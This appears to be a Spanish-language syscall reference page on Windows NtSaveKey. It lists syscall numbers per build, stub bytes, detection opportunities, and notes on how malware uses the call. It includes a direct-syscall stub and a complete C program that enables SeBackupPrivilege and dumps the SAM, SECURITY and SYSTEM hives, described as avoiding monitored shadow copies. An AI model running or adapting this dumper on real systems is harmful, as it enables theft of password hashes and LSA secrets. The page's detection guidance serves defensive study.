NtSaveKey
Escribe una clave de registro viva (con subárbol) a un archivo hive — la cara kernel del robo de SAM/SECURITY.
Prototipo
NTSTATUS NtSaveKey( HANDLE KeyHandle, HANDLE FileHandle );
Argumentos
| Name | Type | Dir | Description |
|---|---|---|---|
| KeyHandle | HANDLE | in | Handle abierto a la clave fuente (debe tener KEY_QUERY_VALUE; se captura todo el subárbol). |
| FileHandle | HANDLE | in | Handle abierto al archivo destino (abierto con GENERIC_WRITE sobre un archivo vacío/nuevo). |
IDs de syscalls por versión de Windows
| Versión de Windows | ID de syscall | Build |
|---|---|---|
| Win10 1507 | 0x167 | win10-1507 |
| Win10 1607 | 0x16F | win10-1607 |
| Win10 1703 | 0x175 | win10-1703 |
| Win10 1709 | 0x178 | win10-1709 |
| Win10 1803 | 0x17A | win10-1803 |
| Win10 1809 | 0x17B | win10-1809 |
| Win10 1903 | 0x17C | win10-1903 |
| Win10 1909 | 0x17C | win10-1909 |
| Win10 2004 | 0x182 | win10-2004 |
| Win10 20H2 | 0x182 | win10-20h2 |
| Win10 21H1 | 0x182 | win10-21h1 |
| Win10 21H2 | 0x184 | win10-21h2 |
| Win10 22H2 | 0x184 | win10-22h2 |
| Win11 21H2 | 0x18C | win11-21h2 |
| Win11 22H2 | 0x18F | win11-22h2 |
| Win11 23H2 | 0x18F | win11-23h2 |
| Win11 24H2 | 0x191 | win11-24h2 |
| Server 2016 | 0x16F | winserver-2016 |
| Server 2019 | 0x17B | winserver-2019 |
| Server 2022 | 0x18A | winserver-2022 |
| Server 2025 | 0x191 | winserver-2025 |
Módulo del kernel
APIs relacionadas
Stub del syscall
4C 8B D1 mov r10, rcx B8 91 01 00 00 mov eax, 0x191 F6 04 25 08 03 FE 7F 01 test byte ptr [0x7FFE0308], 1 75 03 jne short +3 0F 05 syscall C3 ret CD 2E int 2Eh C3 ret
Notas no documentadas
NtSaveKey serializa una clave de registro viva y todo su subárbol a un archivo en formato hive. El archivo producido es un *hive de primera clase*: compatible byte a byte con los archivos SAM, SYSTEM, SECURITY en disco. El llamante debe poseer **SeBackupPrivilege**. NtSaveKey es el original; `NtSaveKeyEx` añade un parámetro flags (`REG_STANDARD_FORMAT` vs `REG_LATEST_FORMAT`). El wrapper Win32 es `RegSaveKeyW` / `RegSaveKeyExW`.
Uso común por malware
Es la **vía canónica sin VSS para robar los hives SAM y SECURITY en vivo**: abrir `HKLM\SAM` y `HKLM\SECURITY` (que requieren acceso SYSTEM o impersonation) y luego NtSaveKey a una ubicación escribible. Los archivos resultantes se procesan con `secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL` (Impacket) o con Mimikatz `lsadump::sam` para recuperar hashes NTLM, master keys DPAPI, credenciales de dominio en caché y secretos LSA — *sin* tener que crear Volume Shadow Copy (muy monitorizada). El comando `reg.py save` de Impacket es exactamente esta primitiva expuesta sobre RemoteRegistry/SMB. SeBackupPrivilege en sí es el bypass — anula los DACL en lectura, haciendo legibles incluso claves explícitamente denegadas al grupo Administradores local.
Oportunidades de detección
Sysmon Event 11 (FileCreate) sobre archivos en formato hive fuera de `%SystemRoot%\System32\config\` es la señal más fiable — combinada con Events 13 / 12 en la apertura de `HKLM\SAM` o `HKLM\SECURITY` justo antes. ETW `Microsoft-Windows-Kernel-Registry` emite eventos save-hive explícitos con clave fuente y ruta destino. El ajuste de SeBackupPrivilege (Sysmon 4673 con `SeBackupPrivilege` en la lista) por un proceso no-backup es de alta señal. Detectar `reg.exe save HKLM\SAM` y equivalentes en PowerShell, y vigilar cualquier escritura por proceso SYSTEM de una cabecera mágica de hive (`regf`) fuera de los directorios config.
Ejemplos de syscalls directos
asmx64 direct stub (Win11 24H2)
; Direct syscall stub for NtSaveKey (SSN 0x191 on Win11 24H2 — drifts per build)
NtSaveKey PROC
mov r10, rcx ; KeyHandle
mov eax, 191h ; SSN
syscall
ret
NtSaveKey ENDPcLive SAM/SECURITY extraction skeleton
// Dump SAM and SECURITY hives without touching Volume Shadow Copy.
// Requires SYSTEM context AND SeBackupPrivilege enabled.
#include <windows.h>
static BOOL EnableBackupPriv(void) {
HANDLE tok; TOKEN_PRIVILEGES tp = {0};
if (!OpenProcessToken(GetCurrentProcess(),
TOKEN_ADJUST_PRIVILEGES, &tok)) return FALSE;
LookupPrivilegeValueW(NULL, SE_BACKUP_NAME, &tp.Privileges[0].Luid);
tp.PrivilegeCount = 1;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
BOOL ok = AdjustTokenPrivileges(tok, FALSE, &tp, 0, NULL, NULL)
&& GetLastError() == ERROR_SUCCESS;
CloseHandle(tok);
return ok;
}
LONG DumpHive(LPCWSTR root, LPCWSTR outPath) {
HKEY hKey = NULL;
LONG s = RegOpenKeyExW(HKEY_LOCAL_MACHINE, root,
REG_OPTION_BACKUP_RESTORE, KEY_READ, &hKey);
if (s != ERROR_SUCCESS) return s;
DeleteFileW(outPath);
s = RegSaveKeyExW(hKey, outPath, NULL, REG_LATEST_FORMAT);
RegCloseKey(hKey);
return s;
}
int wmain(void) {
if (!EnableBackupPriv()) return 1;
DumpHive(L"SAM", L"C:\\stage\\SAM.hiv");
DumpHive(L"SECURITY", L"C:\\stage\\SECURITY.hiv");
DumpHive(L"SYSTEM", L"C:\\stage\\SYSTEM.hiv");
return 0;
}rustDirect NtSaveKey via ntapi
// Cargo: ntapi = "0.4", winapi = { version = "0.3", features = ["winnt", "handleapi"] }
use ntapi::ntregapi::NtSaveKey;
use winapi::shared::ntdef::{HANDLE, NTSTATUS};
unsafe fn save_hive(key: HANDLE, file: HANDLE) -> NTSTATUS {
// Caller is expected to have already enabled SeBackupPrivilege
// and opened `key` with KEY_QUERY_VALUE and `file` with GENERIC_WRITE.
NtSaveKey(key, file)
}Mapeos MITRE ATT&CK
Last verified: 2026-05-20